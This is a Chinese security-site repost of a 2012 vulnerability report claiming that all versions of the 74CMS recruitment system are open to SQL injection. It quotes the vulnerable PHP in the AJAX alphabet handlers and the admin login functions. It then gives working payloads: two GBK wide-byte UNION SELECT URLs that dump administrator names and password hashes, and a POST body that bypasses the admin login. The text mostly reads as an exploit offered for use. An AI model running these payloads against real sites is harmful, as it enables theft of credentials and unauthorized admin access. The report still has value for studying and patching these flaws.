热门关键字:   网站安全  黑客攻防  安全漏洞  系统安全  网络安全
站外
广告
域名申请虚拟主机 信息安全 域名注册 云主机 网络安全技术 企业网络安全 站外
广告
文字广告位招租 文字广告位招租 文字广告位招租 文字广告位招租 云安全

74CMS 人才系统注入全版本通杀进后台

发布时间:2012-08-06 10:24文章来源:wooyun文章作者:小屁孩 点击次数:
摘要:漏洞作者: 小屁孩 提交时间: 2012-07-30 公开时间: 2012-08-04 漏洞类型: SQL注射漏洞 简要描述: 整套程序过滤的还是比较全面的 不过所有版本都是GBK编码是他的硬伤 但是基本上字符串入库的时候作者都使用了iconv来把提交过来的数据编码转换成utf8 所以...

漏洞作者: 小屁孩

提交时间: 2012-07-30
公开时间: 2012-08-04

漏洞类型: SQL注射漏洞
简要描述:

整套程序过滤的还是比较全面的 不过所有版本都是GBK编码是他的硬伤 但是基本上字符串入库的时候作者都使用了iconv来把提交过来的数据编码转换成utf8

所以利用宽字符注入就没办法了 但是过滤完善仅限3.2版本之前 最新的3.2版本plus目录多了几个文件 不知道是不是换了程序员了... 先上两个白痴注入吧~

详细说明:

注射1:

 

  1. \plus\ajax_officebuilding.php (16行) 
  2.  
  3. if($act == 'alphabet') 
  4. $alphabet=trim($_GET['x']); //笑嘻嘻 肯定是换程序员了 不解释 
  5. if (!empty($alphabet)) 
  6. $result = $db->query("select * from ".table('category')." where c_alias='QS_officebuilding' AND c_index='{$alphabet}' "); //笑嘻嘻 
  7. while($row = $db->fetch_array($result)) 
  8. if ($listtype=="li") 
  9. $htm.="<li title=\"{$row['c_name']}\" id=\"{$row['c_id']}\">{$row['c_name']}</li>"; 
  10. else 
  11. $htm.="<li><a href=\"?officebuildingid={$row['c_id']}\" title=\"{$row['c_note']}\" class=\"vtip\">{$row['c_name']}</a><span>{$row['stat_jobs']}</span></li>"; 
  12. if (empty($htm)) 
  13. $htm="<span class=\"noinfo\">没有找到首字母为:<span>{$alphabet}</span> 的写字楼!</span>"; 
  14. $htm.="<script type=\"text/javascript\"> vtip();</script>"; 
  15. exit($htm); 

 

注射2:

  1. \plus\ajax_street.php (16行) 
  2.  
  3. if($act == 'alphabet') 
  4. $alphabet=trim($_GET['x']); //几乎和上面一个注入一模一样的 不多说了 
  5. if (!empty($alphabet)) 
  6. $result = $db->query("select * from ".table('category')." where c_alias='QS_street' AND c_index='{$alphabet}' ");//笑嘻嘻 
  7. while($row = $db->fetch_array($result)) 
  8. if ($listtype=="li") 
  9. $htm.="<li title=\"{$row['c_name']}\" id=\"{$row['c_id']}\">{$row['c_name']}</li>"; 
  10. else 
  11. $htm.="<li><a href=\"?streetid={$row['c_id']}\" title=\"{$row['c_note']}\" class=\"vtip\">{$row['c_name']}</a><span>{$row['stat_jobs']}</span></li>"; 
  12. if (empty($htm)) 
  13. $htm="<span class=\"noinfo\">没有找到首字母为:<span>{$alphabet}</span> 的道路!</span>"; 
  14. exit($htm); 


Exp:

 1. plus/ajax_officebuilding.php?act=alphabet&x=11%d5'%20union%20select%201,2,3,concat(0x3C2F613E20),5,6,7,concat(0x3C623E5E5F5E203C2F623E,admin_name,0x3A,pwd,0x3C623E205E5F5E3C2F623E),9%20from%20qs_admin%23
 2. plus/ajax_street.php?act=alphabet&x=11%d5'%20union%20select%201,2,3,concat(0x3C2F613E20),5,6,7,concat(0x3C623E5E5F5E203C2F623E,admin_name,0x3A,pwd,0x3C623E205E5F5E3C2F623E),9%20from%20qs_admin%23

读过这程序的应该都知道有注入也是白搭 因为hash解不出来 我没仔细看他的密码加密方式 反正是多次加密的 试了十几个一个都没解出来....

所以得来点杀伤力大的 不然不是白搞了吗 随后批量搜索了一些危险函数 执行 变量覆盖 写文件神马的 都没什么好的发现 继续把目标转向后台 立马就笑嘻嘻了~~

 

  1. \admin\admin_login.php (42行) 
  2.  
  3. elseif($act == 'do_login') 
  4. header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); 
  5. header("Cache-Control: no-cache, must-revalidate"); 
  6. header("Pragma: no-cache"); 
  7. $admin_name = isset($_POST['admin_name']) ? trim($_POST['admin_name']) : ''; //没过滤~~~ 
  8. $admin_pwd = isset($_POST['admin_pwd']) ? trim($_POST['admin_pwd']) : ''; 
  9. $postcaptcha = isset($_POST['postcaptcha']) ? $_POST['postcaptcha'] : ''; 
  10. $remember = isset($_POST['rememberme']) ? intval($_POST['rememberme']) : 0; 
  11.  
  12. if($admin_name == '') 
  13. header("Location:?act=login&err=".urlencode('用户名不能为空')); 
  14. exit(); 
  15. elseif($admin_pwd == '') 
  16. header("Location:?act=login&err=".urlencode('密码不能为空')); 
  17. exit(); 
  18. $captcha=get_cache('captcha'); 
  19. if(empty($postcaptcha) && $captcha['verify_adminlogin']=='1') 
  20. header("Location:?act=login&err=".urlencode('验证码不能为空')); 
  21. exit(); 
  22. if ($captcha['verify_adminlogin']=='1' && strcasecmp($_SESSION['imageCaptcha_content'],$postcaptcha)!=0) 
  23. write_log("<span style=\"color:#FF0000\">验证码填写错误</span>",$admin_name,2); 
  24. header("Location:?act=login&err=".urlencode('验证码填写错误')); 
  25. exit(); 
  26. elseif(check_admin($admin_name,$admin_pwd)) //关键函数 直接带入进去了 
  27. update_admin_info($admin_name); 
  28. write_log("成功登录",$admin_name); 
  29. if($remember == 1) 
  30. $admininfo=get_admin_one($admin_name); 
  31. setcookie('Qishi[admin_id]', $_SESSION['admin_id'], time()+86400, $QS_cookiepath, $QS_cookiedomain); 
  32. setcookie('Qishi[admin_name]', $admin_name, time()+86400, $QS_cookiepath, $QS_cookiedomain); 
  33. setcookie('Qishi[admin_pwd]', md5($admin_name.$admininfo['pwd'].$admininfo['pwd_hash'].$QS_pwdhash), time()+86400, $QS_cookiepath, $QS_cookiedomain); 
  34. else 
  35. write_log("<span style=\"color:#FF0000\">用户名或密码错误</span>",$admin_name,2); 
  36. header("Location:?act=login&err=".urlencode('用户名或密码错误')); 
  37. exit(); 
  38. header("Location: admin_index.php"); 

继续追下check_admin函数: \admin\include\admin_common.fun.php (197行)

 

  1. function check_admin($name,$pwd) 
  2. global $db,$QS_pwdhash; 
  3.  
  4. $admin=get_admin_one($name); //先把程序name带入了这个函数进行了一次查询 
  5. $md5md5_pwd=md5($pwd.$admin['pwd_hash'].$QS_pwdhash); 
  6. $row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd ='".$md5_pwd."' "); //继续查询 
  7. if($row['num'] > 0){ 
  8. return true; 
  9. }else{ 
  10. return false; 


再看看get_admin_one函数: \admin\include\admin_common.fun.php (237行)

  1. function get_admin_one($username){ 
  2. global $db; 
  3. $sql = "select * from ".table('admin')." where admin_name = '".$username."' LIMIT 1"; //同样直接查询了 
  4. return $db->getone($sql); 


get_admin_one函数和check_admin函数都是直接就带入查询了 除了POST开头被addslashes函数过滤过一次 但是在宽字符面前这些都是浮云~~

so... 直接向 admin_login.php?act=do_login 构造以下POST语句就能直接进后台了~~ 当然前提你得有后台路径:

admin_name=fuckyou%d5' or 1=1%23&admin_pwd=1

标签分类: 注入漏洞

上一篇:SHOPEX 4.8.5 注入漏洞以及后台拿SHELL
下一篇:ZYCHCMS企业网站管理系统SQL注入&后台拿webshell